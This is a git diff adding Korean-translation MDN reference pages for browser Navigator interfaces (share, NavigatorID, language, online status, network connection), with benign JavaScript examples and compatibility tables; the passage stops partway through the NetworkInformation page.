diff --git a/files/ko/web/api/navigator/share/index.html b/files/ko/web/api/navigator/share/index.html
new file mode 100644
index 0000000000..852999aeb6
--- /dev/null
+++ b/files/ko/web/api/navigator/share/index.html
@@ -0,0 +1,68 @@
+---
+title: Navigator.share
+slug: Web/API/Navigator/share
+translation_of: Web/API/Navigator/share
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>Navigator.share()</code></strong> 메소드는 Web Share API 의 부분으로서 디바이스의 네이티브 공유하기 메커니즘을 작동시킨다. Web Share API 가 지원되지 않는다면, 이 메소드는 <code>undefined</code> 일 것이다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var sharePromise = window.navigator.share(<var>data</var>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><var>data</var></dt>
+ <dd>공유할 데이터가 담긴 객체. 아래의 필드들 중 적어도 하나는 명시되어야 한다. 사용 가능한 옵션들은:</dd>
+</dl>
+
+<ul>
+ <li><code>url</code>: 공유될 URL을 나타내는 {{domxref("USVString")}}.</li>
+ <li><code>text</code>: 공유될 본문을 나타내는 {{domxref("USVString")}}.</li>
+ <li><code>title</code>: 공유될 제목을 나타내는 {{domxref("USVString")}}.</li>
+</ul>
+
+<dl>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>사용자가 공유하기 액션을 완료하면 resolve 될 {{domxref("Promise")}}. <var>data</var> 파라메터가 정확하게 명시되지 않는다면 즉시 reject 될 것이다.</p>
+
+<p>예를 들어, 안드로이드용 크롬에서 반환되는 <code>Promise</code> 는 사용자가 공유할 애플리케이션을 선택한 후에 resolve 될 것이다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">navigator.share({
+ title: document.title,
+ text: 'Hello World',
+ url: 'https://developer.mozilla.org',
+}); // share the URL of MDN</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Web Share API','#share-method','share()')}}</td>
+ <td>{{Spec2('Web Share API')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Navigator.share")}}</p>
diff --git a/files/ko/web/api/navigatorid/index.html b/files/ko/web/api/navigatorid/index.html
new file mode 100644
index 0000000000..d3f1159cc4
--- /dev/null
+++ b/files/ko/web/api/navigatorid/index.html
@@ -0,0 +1,74 @@
+---
+title: NavigatorID
+slug: Web/API/NavigatorID
+translation_of: Web/API/NavigatorID
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><code><strong>NavigatorID</strong></code> 인터페이스에는 브라우저의 ID와 관련된 메소드 및 특성이 들어있습니다.</p>
+
+<p><code>NavigatorID</code>, 에는 유형의 객체가 없지만, {{domxref("Navigator")}} 또는 {{domxref("WorkerNavigator")}}와 같은 인터페이스는 이를 포함합니다.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>NavigatorID</code></em><em> 인터페이스는 속성을 상속하지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{deprecated_inline}}</dt>
+ <dd>모든 브라우저에서 항상 <code>'Mozilla'</code>를 반환합니다. 이 속성은 호환성 목적으로만 유지됩니다.</dd>
+ <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>브라우저의 공식명을 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.</dd>
+ <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>브라우저의 버젼을 문자열로 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.</dd>
+ <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>브라우저의 플랫폼을 문자열로 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.</dd>
+ <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>모든 브라우저에서 항상 <code>'Gecko'</code> 를 반환합니다. 이 속성은 호환성 목적으로만 유지됩니다.</dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>현재 브라우저의 사용자 에이전트 문자열을 반환합니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>NavigatorID</code></em><em> 인터페이스는 메소드를 상속하지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline()}}</dt>
+ <dd>언제나 <code>false</code>를 반환합니다. 자바스크립트의 taint/untaint 함수는 1.2 버젼에서 없어졌습니다. 이 방법은 호환성 목적으로만 유지됩니다.Not available in workers.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#navigatorid', 'NavigatorID')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>호환성을 위해 <code>appCodeName</code> 속성과 <code>taintEnabled()</code> 메서드를 추가했습니다.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', '#navigatorid', 'NavigatorID')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>초기 사양</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.NavigatorID")}}</p>
+
+<h2 id="그외에_볼_것">그외에 볼 것</h2>
+
+<ul>
+ <li>{{domxref("Navigator")}} 그리고 {{domxref("WorkerNavigator")}} 인터페이스에 포함된 것.</li>
+</ul>
diff --git a/files/ko/web/api/navigatorlanguage/index.html b/files/ko/web/api/navigatorlanguage/index.html
new file mode 100644
index 0000000000..0bec377b46
--- /dev/null
+++ b/files/ko/web/api/navigatorlanguage/index.html
@@ -0,0 +1,65 @@
+---
+title: NavigatorLanguage
+slug: Web/API/NavigatorLanguage
+tags:
+ - API
+ - HTML-DOM
+ - Reference
+translation_of: Web/API/NavigatorLanguage
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><code><strong>NavigatorLanguage</strong></code> contains methods and properties related to the language of the navigator.</p>
+
+<p>There is no object of type <code>NavigatorLanguage</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>NavigatorLanguage</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the preferred language of the user, usually the language of the browser UI. The <code>null</code> value is returned when this is unknown.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Returns an array of {{domxref("DOMString")}} representing the languages known to the user, by order of preference.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The </em><em><code>NavigatorLanguage</code></em><em> interface neither implements, nor inherit any method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Since the {{SpecName('HTML5 W3C')}} snapshot, the <code>languages</code> property has been added.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial specification; snapshot of  an early version{{SpecName('HTML WHATWG')}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NavigatorLanguage")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+</ul>
diff --git a/files/ko/web/api/navigatorlanguage/language/index.html b/files/ko/web/api/navigatorlanguage/language/index.html
new file mode 100644
index 0000000000..a6488bff2d
--- /dev/null
+++ b/files/ko/web/api/navigatorlanguage/language/index.html
@@ -0,0 +1,133 @@
+---
+title: NavigatorLanguage.language
+slug: Web/API/NavigatorLanguage/language
+translation_of: Web/API/NavigatorLanguage/language
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p> </p>
+
+<p>NavigatorLanguage.language 읽기 전용 속성은 사용자의 기본 언어 (일반적으로 브라우저 UI의 언어)를 나타내는 문자열을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>lang</em> = navigator.language
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("DOMString")}}. <em><code>lang</code></em> stores a string representing the language version as defined in <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt">BCP 47</a>. Examples of valid language codes include "en", "en-US", "fr", "fr-FR", "es-ES", etc.</p>
+
+<p>Note that in Safari on macOS and iOS prior to 10.2, the country code returned is lowercase: "en-us", "fr-fr" etc.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">if (window.navigator.language != 'en') {
+ doLangSelect(window.navigator.language);
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{ SpecName('HTML5.1', '#dom-navigator-language', 'NavigatorLanguage.language') }}</td>
+ <td>{{ Spec2('HTML5.1') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.0")}}<sup>[2]</sup><br>
+ {{CompatGeckoDesktop("5.0")}}<sup>[3]</sup></td>
+ <td>11.0<sup>[4]</sup></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>on {{domxref("WorkerNavigator")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("35")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile(1.0)}}</td>
+ <td>{{CompatNo}}<sup>[4]</sup></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>on {{domxref("WorkerNavigator")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("35")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Returns the browser UI language, not the value of the <code>Accept-Language</code> <a href="/en-US/docs/Web/HTTP/Headers">HTTP header</a>.</p>
+
+<p>[2] Prior to Gecko 2.0 {{geckoRelease("2.0")}}, this property's value was also part of the user agent string, as reported by {{domxref("window.navigator.userAgent", "navigator.userAgent")}}.</p>
+
+<p>[3] Starting in Gecko 5.0 {{geckoRelease("5.0")}}, this property's value is based on the value of the <code>Accept-Language</code> <a href="en-US/docs/Web/HTTP/Headers">HTTP header</a>.</p>
+
+<p>[4] Closest available (non-standard) properties are <code><a href="http://msdn.microsoft.com/en-us/library/ie/ms534713.aspx">userLanguage</a></code> and <code><a href="http://msdn.microsoft.com/en-us/library/ie/ms533542.aspx">browserLanguage</a></code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("NavigatorLanguage.languages", "navigator.languages")}}</li>
+ <li>{{domxref("navigator")}}</li>
+</ul>
diff --git a/files/ko/web/api/navigatoronline/index.html b/files/ko/web/api/navigatoronline/index.html
new file mode 100644
index 0000000000..9c61e0f858
--- /dev/null
+++ b/files/ko/web/api/navigatoronline/index.html
@@ -0,0 +1,63 @@
+---
+title: NavigatorOnLine
+slug: Web/API/NavigatorOnLine
+tags:
+ - API
+ - HTML-DOM
+translation_of: Web/API/NavigatorOnLine
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <code><strong>NavigatorOnLine</strong></code> interface contains methods and properties related to the connectivity status of the browser.</p>
+
+<p>There is no object of type <code>NavigatorOnLine</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>NavigatorOnLine</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The </em><em><code>NavigatorOnLine</code></em><em> interface neither implements, nor inherit any method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}} with its initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NavigatorOnLine")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+ <li><a href="/en-US/docs/Web/API/NavigatorOnLine/Online_and_offline_events">Online and offline events</a></li>
+</ul>
diff --git a/files/ko/web/api/navigatoronline/online_and_offline_events/index.html b/files/ko/web/api/navigatoronline/online_and_offline_events/index.html
new file mode 100644
index 0000000000..0869f15f6d
--- /dev/null
+++ b/files/ko/web/api/navigatoronline/online_and_offline_events/index.html
@@ -0,0 +1,107 @@
+---
+title: Online and offline events
+slug: Web/API/NavigatorOnLine/Online_and_offline_events
+tags:
+ - AJAX
+ - DOM
+ - Web Development
+translation_of: Web/API/NavigatorOnLine/Online_and_offline_events
+---
+<p>In progress {{ Fx_minversion_header(3) }} <a href="ko/Firefox_3_for_developers">Firefox 3</a>는 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WHATWG 웹 애플리케이션 1.0 명세</a>에 기술된 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">온라인/오프라인 이벤트</a>를 구현합니다.</p>
+
+<h3 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h3>
+
+<p>좋은 오프라인 가능(offline-capable) 웹 애플리케이션을 작성하려면 여러분의 애플리케이션이 실제로 오프라인이 되는 때를 알아야 합니다. 덧붙여, 여러분의 애플리케이션이 '온라인' 상태로 돌아오는 때도 알아야 합니다. 사실, 이 요구사항은 다음과 같이 정리할 수 있습니다.</p>
+
+<ol>
+ <li>여러분이 서버와 재동기화할 수 있도록 사용자가 온라인으로 돌아오는 때를 알아야 합니다.</li>
+ <li>여러분의 서버 요청을 나중에 처리하기 위해 대기시킬 수 있도록 사용자가 오프라인이 되는 때를 알아야 합니다.</li>
+</ol>
+
+<p>온라인/오프라인 이벤트는 이 과정을 단순하게 만드는 것을 도와줍니다.</p>
+
+<p>여러분의 웹 애플리케이션은 특정 문서가 오프라인 자원 캐시에 보관되는 것을 확실하게 할 필요도 있습니다. 이를 위해서는 다음과 같이 <code>HEAD</code> 섹션에 <code>LINK</code> 요소를 포함합니다.</p>
+
+<pre class="eval"><span class="nowiki">&lt;link rel="offline-resource" href="myresource"&gt;</span>
+</pre>
+
+<p>이는 Firefox 3 및 이후 버전에서 HTML을 처리할 때, 참조하는 자원을 오프라인에서 사용할 수 있도록 특별한 오프라인 자원 캐시에 저장하도록 합니다.</p>
+
+<h3 id="API" name="API">API</h3>
+
+<h4 id="navigator.onLine" name="navigator.onLine"><code>navigator.onLine</code></h4>
+
+<p><code><a href="ko/DOM/window.navigator.onLine">navigator.onLine</a></code>는 <code>true</code>/<code>false</code>(온라인은 <code>true</code>, 오프라인은 <code>false</code>)를 보관하는 속성입니다. 이 속성은 사용자가 해당 메뉴 항목(파일 -&gt; 오프라인 작업)을 선택하여 "오프라인 모드"로 전환할 때마다 갱신됩니다.</p>
+
+<p>또한 이 속성은 브라우저가 네트워크에 더 이상 연결할 수 없을 때마다 갱신됩니다. 명세에 따르면:</p>
+
+<blockquote cite="http://www.whatwg.org/specs/web-apps/current-work/#offline">사용자가 링크를 따라가거나 스크립트가 원격 페이지를 요청할 때 사용자 에이전트가 네트워크에 접속할 수 없으면 (혹은 그러한 시도가 실패할 것이라는 것을 안다면) <code>navigator.onLine</code> 속성은 false를 반환해야 합니다...</blockquote>
+
+<p>Firefox 2는 윈도우와 리눅스에서 브라우저의 온라인/오프라인 모드가 바뀔 때와 네트워크가 끊어지거나 다시 접속될 때 이 속성을 갱신합니다.</p>
+
+<p>이 속성은 Firefox와 Internet Explorer의 이전 버전에도 있으므로 (명세는 이러한 기존 구현을 바탕으로 합니다) 이를 즉시 사용할 수 있습니다. 네트워크 상태의 자동 감지는 Firefox 2에서 구현되었습니다.</p>
+
+<h4 id=".22online.22.EA.B3.BC_.22offline.22_.EC.9D.B4.EB.B2.A4.ED.8A.B8" name=".22online.22.EA.B3.BC_.22offline.22_.EC.9D.B4.EB.B2.A4.ED.8A.B8">"<code>online</code>"과 "<code>offline</code>" 이벤트</h4>
+
+<p><a href="ko/Firefox_3">Firefox 3</a>는 두 가지 새로운 이벤트를 도입하고 있습니다: 바로 "<code>online</code>"과 "<code>offline</code>"입니다. 이 두 가지 이벤트는 브라우저가 온라인과 오프라인 모드를 전환할 때 각 페이지의 <code>&lt;body&gt;</code>에서 발생합니다. 덧붙여, 이 이벤트는 <code>document.body</code>에서 <code>document</code>로 전달되고 <code>window</code>에서 끝납니다. 두 가지 이벤트 모두 취소 불가능한(non-cancellable) 이벤트입니다(여러분은 사용자가 온라인이 되거나 오프라인이 되는 것을 막을 수 없습니다).</p>
+
+<p>널리 알려진 몇 가지 방법으로 해당 이벤트에 대한 리스너(listener)를 등록할 수 있습니다.</p>
+
+<ul>
+ <li><code>window</code>, <code>document</code>, <code>document.body</code>에서 <code><a href="ko/DOM/element.addEventListener">addEventListener</a></code>를 이용</li>
+ <li>자바스크립트의 <code>Function</code> 개체에서 <code>document</code>나 <code>document.body</code>에 <code>.ononline</code> 혹은 <code>.onoffline</code> 속성을 설정 (<strong>참고:</strong> 호환성 때문에<code>window.ononline</code>이나 <code>window.onoffline</code>은 올바로 동작하지 않습니다.)</li>
+ <li>HTML 마크업의 <code>&lt;body&gt;</code> 태그에 <code>ononline="..."</code> 혹은 <code>onoffline="..."</code> 속성을 지정</li>
+</ul>
+
+<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3>
+
+<p>이벤트가 동작하는지 확인할 수 있는 <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">간단한 테스트 케이스</a>가 있습니다. <span class="comment">XXX When mochitests for this are created, point to those instead and update this example -nickolay</span></p>
+
+<pre class="eval"> &lt;!doctype html&gt;
+ &lt;html&gt;
+ &lt;head&gt;
+ &lt;script&gt;
+ function updateOnlineStatus(msg) {
+ var status = document.getElementById("status");
+ var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+ status.setAttribute("class", condition);
+ var state = document.getElementById("state");
+ state.innerHTML = condition;
+ var log = document.getElementById("log");
+ log.appendChild(document.createTextNode("Event: " + msg + "; status=" + condition + "\n"));
+ }
+ function loaded() {
+ updateOnlineStatus("load");
+ document.body.addEventListener("offline", function () {
+ updateOnlineStatus("offline")
+ }, false);
+ document.body.addEventListener("online", function () {
+ updateOnlineStatus("online")
+ }, false);
+ }
+ &lt;/script&gt;
+ &lt;style&gt;...&lt;/style&gt;
+ &lt;/head&gt;
+ &lt;body onload="loaded()"&gt;
+ &lt;div id="status"&gt;&lt;p id="state"&gt;&lt;/p&gt;&lt;/div&gt;
+ &lt;div id="log"&gt;&lt;/div&gt;
+ &lt;/body&gt;
+ &lt;/html&gt;
+</pre>
+
+<h3 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h3>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">'Online/Offline events' section from the WHATWG Web Applications 1.0 Specification</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336359">The bug tracking online/offline events implementation in Firefox</a> and a <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336682">follow-up</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">A simple test case</a></li>
+ <li><a class="external" href="http://ejohn.org/blog/offline-events/">An explanation of Online/Offline events</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/Online_and_offline_events", "es": "es/Eventos_online_y_offline", "fr": "fr/\u00c9v\u00e8nements_online_et_offline", "ja": "ja/Online_and_offline_events", "pl": "pl/Zdarzenia_online_i_offline", "pt": "pt/Eventos_online_e_offline" } ) }}</p>
diff --git a/files/ko/web/api/networkinformation/connection/index.html b/files/ko/web/api/networkinformation/connection/index.html
new file mode 100644
index 0000000000..1afa39d9c1
--- /dev/null
+++ b/files/ko/web/api/networkinformation/connection/index.html
@@ -0,0 +1,105 @@
+---
+title: window.navigator.connection
+slug: Web/API/NetworkInformation/connection
+translation_of: Web/API/Navigator/connection
+---
+<p>{{ Apiref() }}</p>
+<p>{{ SeeCompatTable() }}</p>
+<h2 id="요약">요약</h2>
+<p><a href="/ko/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">네트워크 정보 API</a>는 사용자 기기의 현재 대역폭이나 연결이 과금되는 지와 같은 정보를 알려줍니다. 이를 이용해서 사용자의 연결에 기반해서 높은 품질의 콘텐츠를 제공할지 낮은 품질의 콘텐츠를 제공할지 선택할 수 있습니다.</p>
+<h2 id="속성">속성</h2>
+<dl>
+ <dt>
+ {{domxref("window.navigator.connection.bandwidth", "connection.bandwidth")}} {{ReadOnlyInline}}</dt>
+ <dd>
+ 현재 연결에 대한 다운로드 대역폭을 MB/s 단위의 double 형태로 알려줍니다. 사용자가 오프라인일 경우는 <code>0</code>이고 알 수 없을 경우에는 <code>infinity</code>로 나옵니다.</dd>
+ <dt>
+ {{domxref("window.navigator.connection.metered", "connection.metered")}} {{ReadOnlyInline}}</dt>
+ <dd>
+ 연결이 과금이 되는 경우(예를 들어 pay-per-use) <code><a href="/ko/JavaScript/Reference/Global_Objects/Boolean" title="ko/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></code> 형의 <code>true</code>가 반환됩니다.</dd>
+</dl>
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+<dl>
+ <dt>
+ {{domxref("window.navigator.connection.onchange", "connection.onchange")}}</dt>
+ <dd>
+ {{event("change")}} 이벤트에 대한 이벤트 핸들러 속성입니다. 연결 정보가 변경될 때 이벤트가 발생합니다.</dd>
+</dl>
+<div class="note">
+ <p><strong>주의:</strong> <code>connection</code> 객체는 이벤트를 다루기 위한 {{domxref("EventTarget.addEventListener","addEventListener")}} 메서드를 사용할 수 있는 {{domxref("EventTarget")}}을 상속받습니다.</p>
+</div>
+<h2 id="Specifications" name="Specifications">명세</h2>
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Network Information', '', 'Network Information API') }}</td>
+ <td>{{ Spec2('Network Information') }}</td>
+ <td>Initial specification</td>
+ </tr>
+ </tbody>
+</table>
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>20? {{ property_prefix("webkit") }}</td>
+ <td>12.0 {{ property_prefix("moz") }} (see notes)</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>12.0 {{ property_prefix("moz") }} (see notes)</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<h3 id="Gecko_관련_내용">Gecko 관련 내용</h3>
+<ul>
+ <li>네트워크 API는 <code>dom.network.enabled</code> 설정을 통해 비활성화 할 수 있습니다.</li>
+ <li><code>metered</code> 속성은 기본값이 <code>false</code>이고 <code>dom.network.metered</code> 설정을 통해 설정할 수 있습니다(로밍시에 과금 상태로 설정하는 방법은 {{ bug("716943") }}를 참고하세요).</li>
+ <li>Gecko 12.0부터는 네트워크 API가 안드로이드 시스템에서만 사용할 수 있게 구현되어 있습니다. 리눅스({{ bug("712442") }})와 윈도우({{ bug("721306") }})에 대한 지원은 진행중입니다.</li>
+ <li>Gecko 14.0이전에는 <code>navigator.mozConnection</code>이 {{domxref("EventTarget")}}의 인스턴스가 아니어서 <code>addEventListener()</code>를 사용할 수 없었습니다. 이 문제는 해결되었습니다.</li>
+</ul>
+<h2 id="관련_내용">관련 내용</h2>
+<ul>
+ <li><a href="/ko/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">Network Information API</a></li>
+ <li><a href="/ko/Online_and_offline_events" title="en/Online_and_offline_events">Online and offline events</a></li>
+</ul>
diff --git a/files/ko/web/api/networkinformation/index.html b/files/ko/web/api/networkinformation/index.html
new file mode 100644
index 0000000000..5bcdd84c8f
--- /dev/null
+++ b/files/ko/web/api/networkinformation/index.html
@@ -0,0 +1,90 @@
+---
+title: NetworkInformation
+slug: Web/API/NetworkInformation
+tags:
+ - API
+translation_of: Web/API/NetworkInformation
+---
+<div>{{APIRef("Network Information API")}}{{SeeCompatTable}}</div>
+
+<p>The <code><strong>NetworkInformation</strong></code> interface provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes. The <code>NetworkInformation</code> interfaces cannot be instantiated. It is instead accessed through the <code>connection</code> property of the {{domxref("Navigator")}} interface.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties of its parent, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dd>
+ <ul>
+ </ul>
+ </dd>
+ <dt>{{domxref("NetworkInformation.downlink")}} {{readonlyinline}}</dt>
+ <dd>Returns the effective bandwidth estimate in megabits per second, rounded to the nearest multiple of 25 kilobits per seconds.</dd>
+ <dt>{{domxref("NetworkInformation.downlinkMax")}} {{readonlyinline}}</dt>
